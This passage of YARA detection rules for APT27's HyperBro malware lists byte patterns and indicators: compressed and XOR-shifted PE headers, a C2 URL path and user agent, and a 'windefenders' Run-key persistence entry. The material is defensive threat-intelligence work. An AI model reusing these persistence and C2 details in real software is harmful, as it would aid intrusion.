		for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . issuer contains "DigiCert SHA2 Assured ID Code Signing CA" and pe.signatures [ i ] . serial == "08:68:70:51:50:f1:cf:c1:fc:c3:fc:91:a4:49:49:a6" )
}

rule HvS_APT27_HyperBro_Decrypted_Stage2
{
	meta:
		description = "HyperBro Stage 2 and compressed Stage 3 detection"
		license = "https://creativecommons.org/licenses/by-nc/4.0/"
		author = "Moritz Oettle"
		reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
		date = "2022-02-07"
		hash1 = "fc5a58bf0fce9cb96f35ee76842ff17816fe302e3164bc7c6a5ef46f6eff67ed"
		id = "039e5d41-eadb-5c53-82cd-20ffd4105326"

	strings:
		$lznt1_compressed_pe_header_small = { FC B9 00 4D 5A 90 }
		$lznt1_compressed_pe_header_large_1 = { FC B9 00 4D 5A 90 00 03 00 00 00 82 04 00 30 FF FF 00 }
		$lznt1_compressed_pe_header_large_2 = { 00 b8 00 38 0d 01 00 40 04 38 19 00 10 01 00 00 }
		$lznt1_compressed_pe_header_large_3 = { 00 0e 1f ba 0e 00 b4 09 cd 00 21 b8 01 4c cd 21 }
		$lznt1_compressed_pe_header_large_4 = { 54 68 00 69 73 20 70 72 6f 67 72 00 61 6d 20 63 }
		$lznt1_compressed_pe_header_large_5 = { 61 6e 6e 6f 00 74 20 62 65 20 72 75 6e 00 20 69 }
		$lznt1_compressed_pe_header_large_6 = { 6e 20 44 4f 53 20 00 6d 6f 64 65 2e 0d 0d 0a 02 }

	condition:
		filesize < 200KB and ( $lznt1_compressed_pe_header_small at 0x9ce ) or ( all of ( $lznt1_compressed_pe_header_large_* ) )
}

rule HvS_APT27_HyperBro_Stage3
{
	meta:
		description = "HyperBro Stage 3 detection - also tested in memory"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Markus Poelloth"
		reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
		date = "2022-02-07"
		modified = "2023-01-07"
		hash1 = "624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8"
		id = "b4002777-f129-5177-a8f1-690012a207fa"

	strings:
		$s1 = "\\cmd.exe /A" wide
		$s2 = "vftrace.dll" fullword wide
		$s3 = "msmpeng.exe" fullword wide
		$s4 = "\\\\.\\pipe\\testpipe" fullword wide
		$s5 = "thumb.dat" fullword wide
		$g1 = "%s\\%d.exe" fullword wide
		$g2 = "https://%s:%d/api/v2/ajax" fullword wide
		$g3 = " -k networkservice" fullword wide
		$g4 = " -k localservice" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and ( ( 4 of ( $s* ) ) or ( 4 of ( $g* ) ) )
}

rule HvS_APT27_HyperBro_Stage3_C2
{
	meta:
		description = "HyperBro Stage 3 C2 path and user agent detection - also tested in memory"
		license = "https://creativecommons.org/licenses/by-nc/4.0/"
		author = "Marc Stroebel"
		reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
		date = "2022-02-07"
		hash1 = "624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8"
		id = "d1fe03b9-440c-5127-9572-dddcd5c9966b"

	strings:
		$s1 = "api/v2/ajax" ascii wide nocase
		$s2 = "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36" ascii wide nocase

	condition:
		all of them
}

rule HvS_APT27_HyperBro_Stage3_Persistence
{
	meta:
		description = "HyperBro Stage 3 registry keys for persistence"
		license = "https://creativecommons.org/licenses/by-nc/4.0/"
		author = "Marko Dorfhuber"
		reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
		date = "2022-02-07"
		hash1 = "624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8"
		id = "2bb1d28b-5fc4-5f0b-b546-c8b8192b0d48"

	strings:
		$ = "SOFTWARE\\WOW6432Node\\Microsoft\\config_" ascii
		$ = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\windefenders" ascii

	condition:
		1 of them
}

rule HvS_APT27_HyperBro_Encrypted_Stage2
{
	meta:
		description = "HyperBro Encrypted Stage 2 detection. Looks for all possible one byte shifts of the lznt1 compressed PE header"
		license = "https://creativecommons.org/licenses/by-nc/4.0/"
		author = "Moritz Oettle"
		reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
		date = "2022-02-07"
		hash1 = "fc5a58bf0fce9cb96f35ee76842ff17816fe302e3164bc7c6a5ef46f6eff67ed"
		id = "fa4fe057-4c3f-5785-a8d3-588398360996"

	strings:
		$encrypted_pe_header_shift_0 = { fc b9 00 4d 5a 90 00 03 00 00 00 82 04 00 30 ff ff 00 }
		$encrypted_pe_header_shift_1 = { fd ba 01 4e 5b 91 01 04 01 01 01 83 05 01 31 00 00 01 }
		$encrypted_pe_header_shift_2 = { fe bb 02 4f 5c 92 02 05 02 02 02 84 06 02 32 01 01 02 }
		$encrypted_pe_header_shift_3 = { ff bc 03 50 5d 93 03 06 03 03 03 85 07 03 33 02 02 03 }
		$encrypted_pe_header_shift_4 = { 00 bd 04 51 5e 94 04 07 04 04 04 86 08 04 34 03 03 04 }
		$encrypted_pe_header_shift_5 = { 01 be 05 52 5f 95 05 08 05 05 05 87 09 05 35 04 04 05 }
		$encrypted_pe_header_shift_6 = { 02 bf 06 53 60 96 06 09 06 06 06 88 0a 06 36 05 05 06 }
		$encrypted_pe_header_shift_7 = { 03 c0 07 54 61 97 07 0a 07 07 07 89 0b 07 37 06 06 07 }
		$encrypted_pe_header_shift_8 = { 04 c1 08 55 62 98 08 0b 08 08 08 8a 0c 08 38 07 07 08 }
		$encrypted_pe_header_shift_9 = { 05 c2 09 56 63 99 09 0c 09 09 09 8b 0d 09 39 08 08 09 }
		$encrypted_pe_header_shift_10 = { 06 c3 0a 57 64 9a 0a 0d 0a 0a 0a 8c 0e 0a 3a 09 09 0a }
		$encrypted_pe_header_shift_11 = { 07 c4 0b 58 65 9b 0b 0e 0b 0b 0b 8d 0f 0b 3b 0a 0a 0b }
		$encrypted_pe_header_shift_12 = { 08 c5 0c 59 66 9c 0c 0f 0c 0c 0c 8e 10 0c 3c 0b 0b 0c }
		$encrypted_pe_header_shift_13 = { 09 c6 0d 5a 67 9d 0d 10 0d 0d 0d 8f 11 0d 3d 0c 0c 0d }
		$encrypted_pe_header_shift_14 = { 0a c7 0e 5b 68 9e 0e 11 0e 0e 0e 90 12 0e 3e 0d 0d 0e }
		$encrypted_pe_header_shift_15 = { 0b c8 0f 5c 69 9f 0f 12 0f 0f 0f 91 13 0f 3f 0e 0e 0f }
		$encrypted_pe_header_shift_16 = { 0c c9 10 5d 6a a0 10 13 10 10 10 92 14 10 40 0f 0f 10 }
		$encrypted_pe_header_shift_17 = { 0d ca 11 5e 6b a1 11 14 11 11 11 93 15 11 41 10 10 11 }
		$encrypted_pe_header_shift_18 = { 0e cb 12 5f 6c a2 12 15 12 12 12 94 16 12 42 11 11 12 }
		$encrypted_pe_header_shift_19 = { 0f cc 13 60 6d a3 13 16 13 13 13 95 17 13 43 12 12 13 }
		$encrypted_pe_header_shift_20 = { 10 cd 14 61 6e a4 14 17 14 14 14 96 18 14 44 13 13 14 }
		$encrypted_pe_header_shift_21 = { 11 ce 15 62 6f a5 15 18 15 15 15 97 19 15 45 14 14 15 }
		$encrypted_pe_header_shift_22 = { 12 cf 16 63 70 a6 16 19 16 16 16 98 1a 16 46 15 15 16 }
		$encrypted_pe_header_shift_23 = { 13 d0 17 64 71 a7 17 1a 17 17 17 99 1b 17 47 16 16 17 }
		$encrypted_pe_header_shift_24 = { 14 d1 18 65 72 a8 18 1b 18 18 18 9a 1c 18 48 17 17 18 }
		$encrypted_pe_header_shift_25 = { 15 d2 19 66 73 a9 19 1c 19 19 19 9b 1d 19 49 18 18 19 }
		$encrypted_pe_header_shift_26 = { 16 d3 1a 67 74 aa 1a 1d 1a 1a 1a 9c 1e 1a 4a 19 19 1a }
		$encrypted_pe_header_shift_27 = { 17 d4 1b 68 75 ab 1b 1e 1b 1b 1b 9d 1f 1b 4b 1a 1a 1b }
		$encrypted_pe_header_shift_28 = { 18 d5 1c 69 76 ac 1c 1f 1c 1c 1c 9e 20 1c 4c 1b 1b 1c }
		$encrypted_pe_header_shift_29 = { 19 d6 1d 6a 77 ad 1d 20 1d 1d 1d 9f 21 1d 4d 1c 1c 1d }
		$encrypted_pe_header_shift_30 = { 1a d7 1e 6b 78 ae 1e 21 1e 1e 1e a0 22 1e 4e 1d 1d 1e }
		$encrypted_pe_header_shift_31 = { 1b d8 1f 6c 79 af 1f 22 1f 1f 1f a1 23 1f 4f 1e 1e 1f }
		$encrypted_pe_header_shift_32 = { 1c d9 20 6d 7a b0 20 23 20 20 20 a2 24 20 50 1f 1f 20 }
		$encrypted_pe_header_shift_33 = { 1d da 21 6e 7b b1 21 24 21 21 21 a3 25 21 51 20 20 21 }
		$encrypted_pe_header_shift_34 = { 1e db 22 6f 7c b2 22 25 22 22 22 a4 26 22 52 21 21 22 }
		$encrypted_pe_header_shift_35 = { 1f dc 23 70 7d b3 23 26 23 23 23 a5 27 23 53 22 22 23 }
		$encrypted_pe_header_shift_36 = { 20 dd 24 71 7e b4 24 27 24 24 24 a6 28 24 54 23 23 24 }
		$encrypted_pe_header_shift_37 = { 21 de 25 72 7f b5 25 28 25 25 25 a7 29 25 55 24 24 25 }
		$encrypted_pe_header_shift_38 = { 22 df 26 73 80 b6 26 29 26 26 26 a8 2a 26 56 25 25 26 }
		$encrypted_pe_header_shift_39 = { 23 e0 27 74 81 b7 27 2a 27 27 27 a9 2b 27 57 26 26 27 }
		$encrypted_pe_header_shift_40 = { 24 e1 28 75 82 b8 28 2b 28 28 28 aa 2c 28 58 27 27 28 }
		$encrypted_pe_header_shift_41 = { 25 e2 29 76 83 b9 29 2c 29 29 29 ab 2d 29 59 28 28 29 }
		$encrypted_pe_header_shift_42 = { 26 e3 2a 77 84 ba 2a 2d 2a 2a 2a ac 2e 2a 5a 29 29 2a }
		$encrypted_pe_header_shift_43 = { 27 e4 2b 78 85 bb 2b 2e 2b 2b 2b ad 2f 2b 5b 2a 2a 2b }
		$encrypted_pe_header_shift_44 = { 28 e5 2c 79 86 bc 2c 2f 2c 2c 2c ae 30 2c 5c 2b 2b 2c }
		$encrypted_pe_header_shift_45 = { 29 e6 2d 7a 87 bd 2d 30 2d 2d 2d af 31 2d 5d 2c 2c 2d }
		$encrypted_pe_header_shift_46 = { 2a e7 2e 7b 88 be 2e 31 2e 2e 2e b0 32 2e 5e 2d 2d 2e }
		$encrypted_pe_header_shift_47 = { 2b e8 2f 7c 89 bf 2f 32 2f 2f 2f b1 33 2f 5f 2e 2e 2f }
		$encrypted_pe_header_shift_48 = { 2c e9 30 7d 8a c0 30 33 30 30 30 b2 34 30 60 2f 2f 30 }
		$encrypted_pe_header_shift_49 = { 2d ea 31 7e 8b c1 31 34 31 31 31 b3 35 31 61 30 30 31 }
		$encrypted_pe_header_shift_50 = { 2e eb 32 7f 8c c2 32 35 32 32 32 b4 36 32 62 31 31 32 }
		$encrypted_pe_header_shift_51 = { 2f ec 33 80 8d c3 33 36 33 33 33 b5 37 33 63 32 32 33 }
		$encrypted_pe_header_shift_52 = { 30 ed 34 81 8e c4 34 37 34 34 34 b6 38 34 64 33 33 34 }
		$encrypted_pe_header_shift_53 = { 31 ee 35 82 8f c5 35 38 35 35 35 b7 39 35 65 34 34 35 }
		$encrypted_pe_header_shift_54 = { 32 ef 36 83 90 c6 36 39 36 36 36 b8 3a 36 66 35 35 36 }
		$encrypted_pe_header_shift_55 = { 33 f0 37 84 91 c7 37 3a 37 37 37 b9 3b 37 67 36 36 37 }
		$encrypted_pe_header_shift_56 = { 34 f1 38 85 92 c8 38 3b 38 38 38 ba 3c 38 68 37 37 38 }
		$encrypted_pe_header_shift_57 = { 35 f2 39 86 93 c9 39 3c 39 39 39 bb 3d 39 69 38 38 39 }
		$encrypted_pe_header_shift_58 = { 36 f3 3a 87 94 ca 3a 3d 3a 3a 3a bc 3e 3a 6a 39 39 3a }
		$encrypted_pe_header_shift_59 = { 37 f4 3b 88 95 cb 3b 3e 3b 3b 3b bd 3f 3b 6b 3a 3a 3b }
		$encrypted_pe_header_shift_60 = { 38 f5 3c 89 96 cc 3c 3f 3c 3c 3c be 40 3c 6c 3b 3b 3c }
		$encrypted_pe_header_shift_61 = { 39 f6 3d 8a 97 cd 3d 40 3d 3d 3d bf 41 3d 6d 3c 3c 3d }
		$encrypted_pe_header_shift_62 = { 3a f7 3e 8b 98 ce 3e 41 3e 3e 3e c0 42 3e 6e 3d 3d 3e }
		$encrypted_pe_header_shift_63 = { 3b f8 3f 8c 99 cf 3f 42 3f 3f 3f c1 43 3f 6f 3e 3e 3f }
		$encrypted_pe_header_shift_64 = { 3c f9 40 8d 9a d0 40 43 40 40 40 c2 44 40 70 3f 3f 40 }
		$encrypted_pe_header_shift_65 = { 3d fa 41 8e 9b d1 41 44 41 41 41 c3 45 41 71 40 40 41 }
		$encrypted_pe_header_shift_66 = { 3e fb 42 8f 9c d2 42 45 42 42 42 c4 46 42 72 41 41 42 }
		$encrypted_pe_header_shift_67 = { 3f fc 43 90 9d d3 43 46 43 43 43 c5 47 43 73 42 42 43 }
		$encrypted_pe_header_shift_68 = { 40 fd 44 91 9e d4 44 47 44 44 44 c6 48 44 74 43 43 44 }
		$encrypted_pe_header_shift_69 = { 41 fe 45 92 9f d5 45 48 45 45 45 c7 49 45 75 44 44 45 }
		$encrypted_pe_header_shift_70 = { 42 ff 46 93 a0 d6 46 49 46 46 46 c8 4a 46 76 45 45 46 }
		$encrypted_pe_header_shift_71 = { 43 00 47 94 a1 d7 47 4a 47 47 47 c9 4b 47 77 46 46 47 }
		$encrypted_pe_header_shift_72 = { 44 01 48 95 a2 d8 48 4b 48 48 48 ca 4c 48 78 47 47 48 }
		$encrypted_pe_header_shift_73 = { 45 02 49 96 a3 d9 49 4c 49 49 49 cb 4d 49 79 48 48 49 }
		$encrypted_pe_header_shift_74 = { 46 03 4a 97 a4 da 4a 4d 4a 4a 4a cc 4e 4a 7a 49 49 4a }
		$encrypted_pe_header_shift_75 = { 47 04 4b 98 a5 db 4b 4e 4b 4b 4b cd 4f 4b 7b 4a 4a 4b }
		$encrypted_pe_header_shift_76 = { 48 05 4c 99 a6 dc 4c 4f 4c 4c 4c ce 50 4c 7c 4b 4b 4c }
		$encrypted_pe_header_shift_77 = { 49 06 4d 9a a7 dd 4d 50 4d 4d 4d cf 51 4d 7d 4c 4c 4d }
		$encrypted_pe_header_shift_78 = { 4a 07 4e 9b a8 de 4e 51 4e 4e 4e d0 52 4e 7e 4d 4d 4e }
		$encrypted_pe_header_shift_79 = { 4b 08 4f 9c a9 df 4f 52 4f 4f 4f d1 53 4f 7f 4e 4e 4f }
		$encrypted_pe_header_shift_80 = { 4c 09 50 9d aa e0 50 53 50 50 50 d2 54 50 80 4f 4f 50 }
		$encrypted_pe_header_shift_81 = { 4d 0a 51 9e ab e1 51 54 51 51 51 d3 55 51 81 50 50 51 }
		$encrypted_pe_header_shift_82 = { 4e 0b 52 9f ac e2 52 55 52 52 52 d4 56 52 82 51 51 52 }
		$encrypted_pe_header_shift_83 = { 4f 0c 53 a0 ad e3 53 56 53 53 53 d5 57 53 83 52 52 53 }
		$encrypted_pe_header_shift_84 = { 50 0d 54 a1 ae e4 54 57 54 54 54 d6 58 54 84 53 53 54 }
		$encrypted_pe_header_shift_85 = { 51 0e 55 a2 af e5 55 58 55 55 55 d7 59 55 85 54 54 55 }
		$encrypted_pe_header_shift_86 = { 52 0f 56 a3 b0 e6 56 59 56 56 56 d8 5a 56 86 55 55 56 }
		$encrypted_pe_header_shift_87 = { 53 10 57 a4 b1 e7 57 5a 57 57 57 d9 5b 57 87 56 56 57 }
		$encrypted_pe_header_shift_88 = { 54 11 58 a5 b2 e8 58 5b 58 58 58 da 5c 58 88 57 57 58 }
		$encrypted_pe_header_shift_89 = { 55 12 59 a6 b3 e9 59 5c 59 59 59 db 5d 59 89 58 58 59 }
		$encrypted_pe_header_shift_90 = { 56 13 5a a7 b4 ea 5a 5d 5a 5a 5a dc 5e 5a 8a 59 59 5a }
		$encrypted_pe_header_shift_91 = { 57 14 5b a8 b5 eb 5b 5e 5b 5b 5b dd 5f 5b 8b 5a 5a 5b }
		$encrypted_pe_header_shift_92 = { 58 15 5c a9 b6 ec 5c 5f 5c 5c 5c de 60 5c 8c 5b 5b 5c }
		$encrypted_pe_header_shift_93 = { 59 16 5d aa b7 ed 5d 60 5d 5d 5d df 61 5d 8d 5c 5c 5d }
		$encrypted_pe_header_shift_94 = { 5a 17 5e ab b8 ee 5e 61 5e 5e 5e e0 62 5e 8e 5d 5d 5e }
		$encrypted_pe_header_shift_95 = { 5b 18 5f ac b9 ef 5f 62 5f 5f 5f e1 63 5f 8f 5e 5e 5f }
		$encrypted_pe_header_shift_96 = { 5c 19 60 ad ba f0 60 63 60 60 60 e2 64 60 90 5f 5f 60 }
		$encrypted_pe_header_shift_97 = { 5d 1a 61 ae bb f1 61 64 61 61 61 e3 65 61 91 60 60 61 }
		$encrypted_pe_header_shift_98 = { 5e 1b 62 af bc f2 62 65 62 62 62 e4 66 62 92 61 61 62 }
		$encrypted_pe_header_shift_99 = { 5f 1c 63 b0 bd f3 63 66 63 63 63 e5 67 63 93 62 62 63 }
		$encrypted_pe_header_shift_100 = { 60 1d 64 b1 be f4 64 67 64 64 64 e6 68 64 94 63 63 64 }
		$encrypted_pe_header_shift_101 = { 61 1e 65 b2 bf f5 65 68 65 65 65 e7 69 65 95 64 64 65 }
		$encrypted_pe_header_shift_102 = { 62 1f 66 b3 c0 f6 66 69 66 66 66 e8 6a 66 96 65 65 66 }
		$encrypted_pe_header_shift_103 = { 63 20 67 b4 c1 f7 67 6a 67 67 67 e9 6b 67 97 66 66 67 }
		$encrypted_pe_header_shift_104 = { 64 21 68 b5 c2 f8 68 6b 68 68 68 ea 6c 68 98 67 67 68 }
		$encrypted_pe_header_shift_105 = { 65 22 69 b6 c3 f9 69 6c 69 69 69 eb 6d 69 99 68 68 69 }
		$encrypted_pe_header_shift_106 = { 66 23 6a b7 c4 fa 6a 6d 6a 6a 6a ec 6e 6a 9a 69 69 6a }
		$encrypted_pe_header_shift_107 = { 67 24 6b b8 c5 fb 6b 6e 6b 6b 6b ed 6f 6b 9b 6a 6a 6b }
		$encrypted_pe_header_shift_108 = { 68 25 6c b9 c6 fc 6c 6f 6c 6c 6c ee 70 6c 9c 6b 6b 6c }
		$encrypted_pe_header_shift_109 = { 69 26 6d ba c7 fd 6d 70 6d 6d 6d ef 71 6d 9d 6c 6c 6d }
		$encrypted_pe_header_shift_110 = { 6a 27 6e bb c8 fe 6e 71 6e 6e 6e f0 72 6e 9e 6d 6d 6e }
		$encrypted_pe_header_shift_111 = { 6b 28 6f bc c9 ff 6f 72 6f 6f 6f f1 73 6f 9f 6e 6e 6f }
		$encrypted_pe_header_shift_112 = { 6c 29 70 bd ca 00 70 73 70 70 70 f2 74 70 a0 6f 6f 70 }
		$encrypted_pe_header_shift_113 = { 6d 2a 71 be cb 01 71 74 71 71 71 f3 75 71 a1 70 70 71 }
		$encrypted_pe_header_shift_114 = { 6e 2b 72 bf cc 02 72 75 72 72 72 f4 76 72 a2 71 71 72 }
		$encrypted_pe_header_shift_115 = { 6f 2c 73 c0 cd 03 73 76 73 73 73 f5 77 73 a3 72 72 73 }
		$encrypted_pe_header_shift_116 = { 70 2d 74 c1 ce 04 74 77 74 74 74 f6 78 74 a4 73 73 74 }
		$encrypted_pe_header_shift_117 = { 71 2e 75 c2 cf 05 75 78 75 75 75 f7 79 75 a5 74 74 75 }
		$encrypted_pe_header_shift_118 = { 72 2f 76 c3 d0 06 76 79 76 76 76 f8 7a 76 a6 75 75 76 }
		$encrypted_pe_header_shift_119 = { 73 30 77 c4 d1 07 77 7a 77 77 77 f9 7b 77 a7 76 76 77 }
		$encrypted_pe_header_shift_120 = { 74 31 78 c5 d2 08 78 7b 78 78 78 fa 7c 78 a8 77 77 78 }
		$encrypted_pe_header_shift_121 = { 75 32 79 c6 d3 09 79 7c 79 79 79 fb 7d 79 a9 78 78 79 }
		$encrypted_pe_header_shift_122 = { 76 33 7a c7 d4 0a 7a 7d 7a 7a 7a fc 7e 7a aa 79 79 7a }
		$encrypted_pe_header_shift_123 = { 77 34 7b c8 d5 0b 7b 7e 7b 7b 7b fd 7f 7b ab 7a 7a 7b }
		$encrypted_pe_header_shift_124 = { 78 35 7c c9 d6 0c 7c 7f 7c 7c 7c fe 80 7c ac 7b 7b 7c }
		$encrypted_pe_header_shift_125 = { 79 36 7d ca d7 0d 7d 80 7d 7d 7d ff 81 7d ad 7c 7c 7d }
		$encrypted_pe_header_shift_126 = { 7a 37 7e cb d8 0e 7e 81 7e 7e 7e 00 82 7e ae 7d 7d 7e }
		$encrypted_pe_header_shift_127 = { 7b 38 7f cc d9 0f 7f 82 7f 7f 7f 01 83 7f af 7e 7e 7f }
		$encrypted_pe_header_shift_128 = { 7c 39 80 cd da 10 80 83 80 80 80 02 84 80 b0 7f 7f 80 }
		$encrypted_pe_header_shift_129 = { 7d 3a 81 ce db 11 81 84 81 81 81 03 85 81 b1 80 80 81 }
		$encrypted_pe_header_shift_130 = { 7e 3b 82 cf dc 12 82 85 82 82 82 04 86 82 b2 81 81 82 }
		$encrypted_pe_header_shift_131 = { 7f 3c 83 d0 dd 13 83 86 83 83 83 05 87 83 b3 82 82 83 }
		$encrypted_pe_header_shift_132 = { 80 3d 84 d1 de 14 84 87 84 84 84 06 88 84 b4 83 83 84 }
		$encrypted_pe_header_shift_133 = { 81 3e 85 d2 df 15 85 88 85 85 85 07 89 85 b5 84 84 85 }
		$encrypted_pe_header_shift_134 = { 82 3f 86 d3 e0 16 86 89 86 86 86 08 8a 86 b6 85 85 86 }
		$encrypted_pe_header_shift_135 = { 83 40 87 d4 e1 17 87 8a 87 87 87 09 8b 87 b7 86 86 87 }
		$encrypted_pe_header_shift_136 = { 84 41 88 d5 e2 18 88 8b 88 88 88 0a 8c 88 b8 87 87 88 }
		$encrypted_pe_header_shift_137 = { 85 42 89 d6 e3 19 89 8c 89 89 89 0b 8d 89 b9 88 88 89 }
		$encrypted_pe_header_shift_138 = { 86 43 8a d7 e4 1a 8a 8d 8a 8a 8a 0c 8e 8a ba 89 89 8a }
		$encrypted_pe_header_shift_139 = { 87 44 8b d8 e5 1b 8b 8e 8b 8b 8b 0d 8f 8b bb 8a 8a 8b }
		$encrypted_pe_header_shift_140 = { 88 45 8c d9 e6 1c 8c 8f 8c 8c 8c 0e 90 8c bc 8b 8b 8c }
		$encrypted_pe_header_shift_141 = { 89 46 8d da e7 1d 8d 90 8d 8d 8d 0f 91 8d bd 8c 8c 8d }
		$encrypted_pe_header_shift_142 = { 8a 47 8e db e8 1e 8e 91 8e 8e 8e 10 92 8e be 8d 8d 8e }
		$encrypted_pe_header_shift_143 = { 8b 48 8f dc e9 1f 8f 92 8f 8f 8f 11 93 8f bf 8e 8e 8f }
		$encrypted_pe_header_shift_144 = { 8c 49 90 dd ea 20 90 93 90 90 90 12 94 90 c0 8f 8f 90 }
		$encrypted_pe_header_shift_145 = { 8d 4a 91 de eb 21 91 94 91 91 91 13 95 91 c1 90 90 91 }
		$encrypted_pe_header_shift_146 = { 8e 4b 92 df ec 22 92 95 92 92 92 14 96 92 c2 91 91 92 }
		$encrypted_pe_header_shift_147 = { 8f 4c 93 e0 ed 23 93 96 93 93 93 15 97 93 c3 92 92 93 }
		$encrypted_pe_header_shift_148 = { 90 4d 94 e1 ee 24 94 97 94 94 94 16 98 94 c4 93 93 94 }
		$encrypted_pe_header_shift_149 = { 91 4e 95 e2 ef 25 95 98 95 95 95 17 99 95 c5 94 94 95 }
		$encrypted_pe_header_shift_150 = { 92 4f 96 e3 f0 26 96 99 96 96 96 18 9a 96 c6 95 95 96 }
		$encrypted_pe_header_shift_151 = { 93 50 97 e4 f1 27 97 9a 97 97 97 19 9b 97 c7 96 96 97 }
		$encrypted_pe_header_shift_152 = { 94 51 98 e5 f2 28 98 9b 98 98 98 1a 9c 98 c8 97 97 98 }
		$encrypted_pe_header_shift_153 = { 95 52 99 e6 f3 29 99 9c 99 99 99 1b 9d 99 c9 98 98 99 }
		$encrypted_pe_header_shift_154 = { 96 53 9a e7 f4 2a 9a 9d 9a 9a 9a 1c 9e 9a ca 99 99 9a }
		$encrypted_pe_header_shift_155 = { 97 54 9b e8 f5 2b 9b 9e 9b 9b 9b 1d 9f 9b cb 9a 9a 9b }
		$encrypted_pe_header_shift_156 = { 98 55 9c e9 f6 2c 9c 9f 9c 9c 9c 1e a0 9c cc 9b 9b 9c }
		$encrypted_pe_header_shift_157 = { 99 56 9d ea f7 2d 9d a0 9d 9d 9d 1f a1 9d cd 9c 9c 9d }
		$encrypted_pe_header_shift_158 = { 9a 57 9e eb f8 2e 9e a1 9e 9e 9e 20 a2 9e ce 9d 9d 9e }
		$encrypted_pe_header_shift_159 = { 9b 58 9f ec f9 2f 9f a2 9f 9f 9f 21 a3 9f cf 9e 9e 9f }
		$encrypted_pe_header_shift_160 = { 9c 59 a0 ed fa 30 a0 a3 a0 a0 a0 22 a4 a0 d0 9f 9f a0 }
		$encrypted_pe_header_shift_161 = { 9d 5a a1 ee fb 31 a1 a4 a1 a1 a1 23 a5 a1 d1 a0 a0 a1 }
		$encrypted_pe_header_shift_162 = { 9e 5b a2 ef fc 32 a2 a5 a2 a2 a2 24 a6 a2 d2 a1 a1 a2 }
		$encrypted_pe_header_shift_163 = { 9f 5c a3 f0 fd 33 a3 a6 a3 a3 a3 25 a7 a3 d3 a2 a2 a3 }
		$encrypted_pe_header_shift_164 = { a0 5d a4 f1 fe 34 a4 a7 a4 a4 a4 26 a8 a4 d4 a3 a3 a4 }
		$encrypted_pe_header_shift_165 = { a1 5e a5 f2 ff 35 a5 a8 a5 a5 a5 27 a9 a5 d5 a4 a4 a5 }
		$encrypted_pe_header_shift_166 = { a2 5f a6 f3 00 36 a6 a9 a6 a6 a6 28 aa a6 d6 a5 a5 a6 }
		$encrypted_pe_header_shift_167 = { a3 60 a7 f4 01 37 a7 aa a7 a7 a7 29 ab a7 d7 a6 a6 a7 }
		$encrypted_pe_header_shift_168 = { a4 61 a8 f5 02 38 a8 ab a8 a8 a8 2a ac a8 d8 a7 a7 a8 }
		$encrypted_pe_header_shift_169 = { a5 62 a9 f6 03 39 a9 ac a9 a9 a9 2b ad a9 d9 a8 a8 a9 }
		$encrypted_pe_header_shift_170 = { a6 63 aa f7 04 3a aa ad aa aa aa 2c ae aa da a9 a9 aa }
		$encrypted_pe_header_shift_171 = { a7 64 ab f8 05 3b ab ae ab ab ab 2d af ab db aa aa ab }
		$encrypted_pe_header_shift_172 = { a8 65 ac f9 06 3c ac af ac ac ac 2e b0 ac dc ab ab ac }
		$encrypted_pe_header_shift_173 = { a9 66 ad fa 07 3d ad b0 ad ad ad 2f b1 ad dd ac ac ad }
		$encrypted_pe_header_shift_174 = { aa 67 ae fb 08 3e ae b1 ae ae ae 30 b2 ae de ad ad ae }
		$encrypted_pe_header_shift_175 = { ab 68 af fc 09 3f af b2 af af af 31 b3 af df ae ae af }
		$encrypted_pe_header_shift_176 = { ac 69 b0 fd 0a 40 b0 b3 b0 b0 b0 32 b4 b0 e0 af af b0 }
		$encrypted_pe_header_shift_177 = { ad 6a b1 fe 0b 41 b1 b4 b1 b1 b1 33 b5 b1 e1 b0 b0 b1 }
		$encrypted_pe_header_shift_178 = { ae 6b b2 ff 0c 42 b2 b5 b2 b2 b2 34 b6 b2 e2 b1 b1 b2 }
		$encrypted_pe_header_shift_179 = { af 6c b3 00 0d 43 b3 b6 b3 b3 b3 35 b7 b3 e3 b2 b2 b3 }
		$encrypted_pe_header_shift_180 = { b0 6d b4 01 0e 44 b4 b7 b4 b4 b4 36 b8 b4 e4 b3 b3 b4 }
		$encrypted_pe_header_shift_181 = { b1 6e b5 02 0f 45 b5 b8 b5 b5 b5 37 b9 b5 e5 b4 b4 b5 }
		$encrypted_pe_header_shift_182 = { b2 6f b6 03 10 46 b6 b9 b6 b6 b6 38 ba b6 e6 b5 b5 b6 }
		$encrypted_pe_header_shift_183 = { b3 70 b7 04 11 47 b7 ba b7 b7 b7 39 bb b7 e7 b6 b6 b7 }
		$encrypted_pe_header_shift_184 = { b4 71 b8 05 12 48 b8 bb b8 b8 b8 3a bc b8 e8 b7 b7 b8 }
		$encrypted_pe_header_shift_185 = { b5 72 b9 06 13 49 b9 bc b9 b9 b9 3b bd b9 e9 b8 b8 b9 }
		$encrypted_pe_header_shift_186 = { b6 73 ba 07 14 4a ba bd ba ba ba 3c be ba ea b9 b9 ba }
		$encrypted_pe_header_shift_187 = { b7 74 bb 08 15 4b bb be bb bb bb 3d bf bb eb ba ba bb }
		$encrypted_pe_header_shift_188 = { b8 75 bc 09 16 4c bc bf bc bc bc 3e c0 bc ec bb bb bc }
		$encrypted_pe_header_shift_189 = { b9 76 bd 0a 17 4d bd c0 bd bd bd 3f c1 bd ed bc bc bd }
		$encrypted_pe_header_shift_190 = { ba 77 be 0b 18 4e be c1 be be be 40 c2 be ee bd bd be }
		$encrypted_pe_header_shift_191 = { bb 78 bf 0c 19 4f bf c2 bf bf bf 41 c3 bf ef be be bf }
		$encrypted_pe_header_shift_192 = { bc 79 c0 0d 1a 50 c0 c3 c0 c0 c0 42 c4 c0 f0 bf bf c0 }
